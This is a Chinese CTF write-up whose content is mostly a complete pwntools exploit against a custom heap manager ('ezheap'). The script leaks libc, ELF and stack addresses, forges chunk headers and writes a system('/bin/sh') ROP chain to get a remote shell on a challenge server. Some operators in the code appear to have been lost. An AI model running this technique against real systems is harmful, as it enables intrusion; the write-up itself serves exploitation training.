- ezheap
- sharing
ezheap
题目实现了一种新的、思路和以往完全不同的堆管理器,并且保护全开
手动恢复出来了部分相关结构体:
远程EXP:
代码语言:javascript复制from pwn import *
import struct
#p = process(["./ld-2.27.so", "./ezheap"], env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("123.60.25.24", 20077)
elf = ELF("./ezheap")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
context.log_level = "debug"
BYTE_ARR = 1
UINT16_ARR = 2
UINT32_ARR = 3
FLOAT_ARR = 4
def alloc(a_type:int, size:int, idx:int):
p.sendlineafter(b"enter your choice>>n", b"1")
p.sendlineafter(b"which type >>n", str(a_type).encode())
p.sendlineafter(b"size>>n", str(size).encode())
p.sendlineafter(b"idx>>n", str(idx).encode())
def edit(a_type:int, idx:int, ele_idx:int, value):
p.sendlineafter(b"enter your choice>>n", b"2")
p.sendlineafter(b"which type >>n", str(a_type).encode())
p.sendlineafter(b"idx>>n", str(idx).encode())
p.sendlineafter(b"element_idx>>n", str(ele_idx).encode())
p.sendlineafter(b"value>>n", value)
def view(a_type:int, idx:int, ele_idx:int):
p.sendlineafter(b"enter your choice>>n", b"3")
p.sendlineafter(b"which type >>n", str(a_type).encode())
p.sendlineafter(b"idx>>n", str(idx).encode())
p.sendlineafter(b"element_idx>>n", str(ele_idx).encode())
def delete(a_type:int, idx:int):
p.sendlineafter(b"enter your choice>>n", b"4")
p.sendlineafter(b"which type >>n", str(a_type).encode())
p.sendlineafter(b"idx>>n", str(idx).encode())
# base: 0xf7fc7000
# uint16: 0xf7fc7000 0x4040
# uint8: 0xf7fc7000 0x5040
# uint32: 0xf7fc7000 0x6040
# float: 0xf7fc7000 0x7040
# 0xf7fc7000 0x9060
def exp():
# leak new_heap_addr
## chain
alloc(UINT32_ARR, 0xff8, 0)
alloc(UINT32_ARR, 0xff8, 1)
## free chain
delete(UINT32_ARR, 0)
delete(UINT32_ARR, 1)
## show ptr
alloc(UINT32_ARR, 0xff8, 4) # help chunk
view(UINT32_ARR, 4, 0)
p.recvuntil(b"value>>n")
leak_addr = int(p.recvuntil(b"n", drop=True), 10)
libc_base = (leak_addr & 0xfffff000) 0x5000
system = libc_base libc.symbols["system"]
binsh = libc_base next(libc.search(b"/bin/sh"))
one_gadget = libc_base 0x13563f
print("leak_addr:", hex(leak_addr))
print("libc_base:", hex(libc_base))
## padding, no use
alloc(UINT32_ARR, 0x100, 5)
# leak elf_base
alloc(UINT32_ARR, 0x4, 0)
alloc(UINT32_ARR, 0x4, 1)
delete(UINT32_ARR, 0)
delete(UINT32_ARR, 1)
target_header = libc_base - 0x10000
pre_leak_addr = target_header 0x18 # contant elf addr
fake_chunk_hdr = target_header | (0x4 0x4)
print("target_header:", hex(target_header))
print("pre_leak_addr:", hex(pre_leak_addr))
print("fake_chunk_hdr:", hex(fake_chunk_hdr))
float_payload = struct.unpack("<d", p32(fake_chunk_hdr) p32(pre_leak_addr))[0]
print("float_payload:", float_payload)
for i in range(0x800):
edit(FLOAT_ARR, 0x82d, i, str(float_payload).encode())
alloc(UINT32_ARR, 0x4, 2)
alloc(UINT32_ARR, 0x4, 3)
view(UINT32_ARR, 3, 0)
p.recvuntil(b"value>>n")
elf_leak = int(p.recvuntil(b"n", drop=True), 10)
elf_base = elf_leak - 0x9060
atoll_got = elf_base elf.got["atoll"]
## build help_chunk
alloc(UINT32_ARR, 0x2000, 6) # help chunk
uint32_item_5 = elf_base 0x6054
help_chunk = libc_base - 0x16000
print("uint32_item_5:", hex(uint32_item_5))
print("elf_leak:", hex(elf_leak))
print("elf_base:", hex(elf_base))
#gdb.attach(p)
#pause()
# attack uint32_array
alloc(UINT32_ARR, 0x4, 0)
alloc(UINT32_ARR, 0x4, 1)
delete(UINT32_ARR, 0)
delete(UINT32_ARR, 1)
float_payload = struct.unpack("<d", p32(fake_chunk_hdr) p32(uint32_item_5-4))[0]
print("float_payload:", float_payload)
for i in range(0x800):
edit(FLOAT_ARR, 0x82d, i, str(float_payload).encode())
alloc(UINT32_ARR, 0x4, 2)
alloc(UINT32_ARR, 0x4, 3)
edit(UINT32_ARR, 3, 0, str(help_chunk).encode())
print("help_chunk:", hex(help_chunk))
print("uint32_item_5:", hex(uint32_item_5))
# leak stack && build rop
envrion = libc_base libc.symbols["environ"]
print("envrion:", hex(envrion))
edit(UINT32_ARR, 6, 0, str(4).encode()) # item_size
edit(UINT32_ARR, 6, 1, str(0xff).encode()) # item_num
edit(UINT32_ARR, 6, 2, str(envrion).encode()) # array_ptr
## leak environ
view(UINT32_ARR, 5, 0)
p.recvuntil(b"value>>n")
stack_leak = int(p.recvuntil(b"n", drop=True), 10)
main_ret = stack_leak - 0xa4
## build fake array
edit(UINT32_ARR, 6, 0, str(4).encode()) # item_size
edit(UINT32_ARR, 6, 1, str(0xff).encode()) # item_num
edit(UINT32_ARR, 6, 2, str(main_ret).encode()) # array_ptr
## write rop
edit(UINT32_ARR, 5, 0, str(system).encode()) # system
edit(UINT32_ARR, 5, 1, str(0xdeadbeef).encode()) # fake ret
edit(UINT32_ARR, 5, 2, str(binsh).encode()) # /bin/sh
print("main_ret:", hex(main_ret))
p.sendline(b"5") # exit
p.sendline("cat flag")
p.interactive()
if __name__ == "__main__":
exp()
sharing
C 题,祖传盲调手艺不能丢